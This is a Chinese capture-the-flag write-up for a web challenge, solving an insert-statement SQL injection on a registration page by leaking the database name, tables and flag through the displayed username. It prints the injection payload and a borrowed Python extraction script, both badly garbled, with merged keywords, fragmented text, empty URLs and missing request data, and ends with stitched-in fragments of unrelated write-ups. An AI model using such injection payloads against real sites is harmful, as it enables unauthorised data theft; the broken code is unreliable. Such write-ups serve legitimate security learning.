有登入就可能有註冊,url欄register.php
先註冊乙個
註冊成功後跳轉到主頁,同時在主頁顯示使用者名稱
唔,鬼刀裡的冰公主,品味不錯,俺喜歡︿( ̄︶ ̄)︿
先試著在註冊介面手注吧
構造插入的註冊語句
payload:insert into tables values(『ema
il′,
′0′+
asci
i(su
bstr
((se
lect
data
base
())f
rom1
for1
))+′
0′,′
email','0'+ascii(substr((select database()) from 1 for 1))+'0','
email′
,′0′
+asc
ii(s
ubst
r((s
elec
tdat
abas
e())
from
1for
1))+
′0′,
′password』)
然後寫指令碼注入,這裡借鑑大佬的(因為我菜°(°ˊдˋ°) °)
import requests
import time
from bs4 import beautifulsoup #html解析器
defgetdatabase()
: database =
''for i in
range(10
):data_database =
#註冊 requests.post(
"",data_database)
login_data=
response=requests.post(
"",login_data)
html=response.text #返回的頁面
soup=beautifulsoup(html,
'html.parser'
) getusername=soup.find_all(
'span')[
0]#獲取使用者名稱
username=getusername.text
ifint(username)==0
:break
database+=
chr(
int(username)
)return database
print
(getdatabase())
defgettables()
: tables =
''for i in
range(10
):data_tables =
#註冊 requests.post(
"",data_tables)
login_data=
response=requests.post(
"",login_data)
html=response.text #返回的頁面
soup=beautifulsoup(html,
'html.parser'
) getusername=soup.find_all(
'span')[
0]#獲取使用者名稱
username=getusername.text
ifint(username)==0
:break
tables+=
chr(
int(username)
)return tables
'''print(gettables())
'''def
getflag()
: flag =
''for i in
range(40
):data_flag =
#註冊 requests.post(
"",data_flag)
login_data=
response=requests.post(
"",login_data)
html=response.text #返回的頁面
soup=beautifulsoup(html,
'html.parser'
) getusername=soup.find_all(
'span')[
0]#獲取使用者名稱
username=getusername.text
ifint(username)==0
:break
flag+=
chr(
int(username)
)return flag
print
(getflag(
))
執行一下,得到資料庫和flag
參考文章:
sql注入還得多學習,指令碼也得學會自己寫
2020.8.12 公瑾
攻防世界 web(高階區)
瞅瞅高階區的,繼續總結。var t fl s a i e var n a h0l n var r g 得到flag 開啟場景鏈結 你可以瀏覽這個 嗎?no,i can t.檢視原始碼什麼都沒有,後面加上index.php。沒用,加上index.phps phps檔案就是php的源 檔案,通常用於提供...
攻防世界web高階區warmup詳解
檢視原始碼發現source.php 我們直接訪問 發現hint.php 我們再訪問 flag not here,and flag in ffffllllaaaagggg 這裡提示我們flag在ffffllllaaaagggg裡面 那麼我們去看看source.php 直接定義了乙個類,他將file的值...
攻防世界web高階區lottery詳解
我們掃了一遍,註冊處也沒有什麼問題 然後發現了,robots下有乙個 git 很明顯提示了我們git原始碼洩露 那麼我們使用githack function buy req switch same count money prize 2 session money money response st...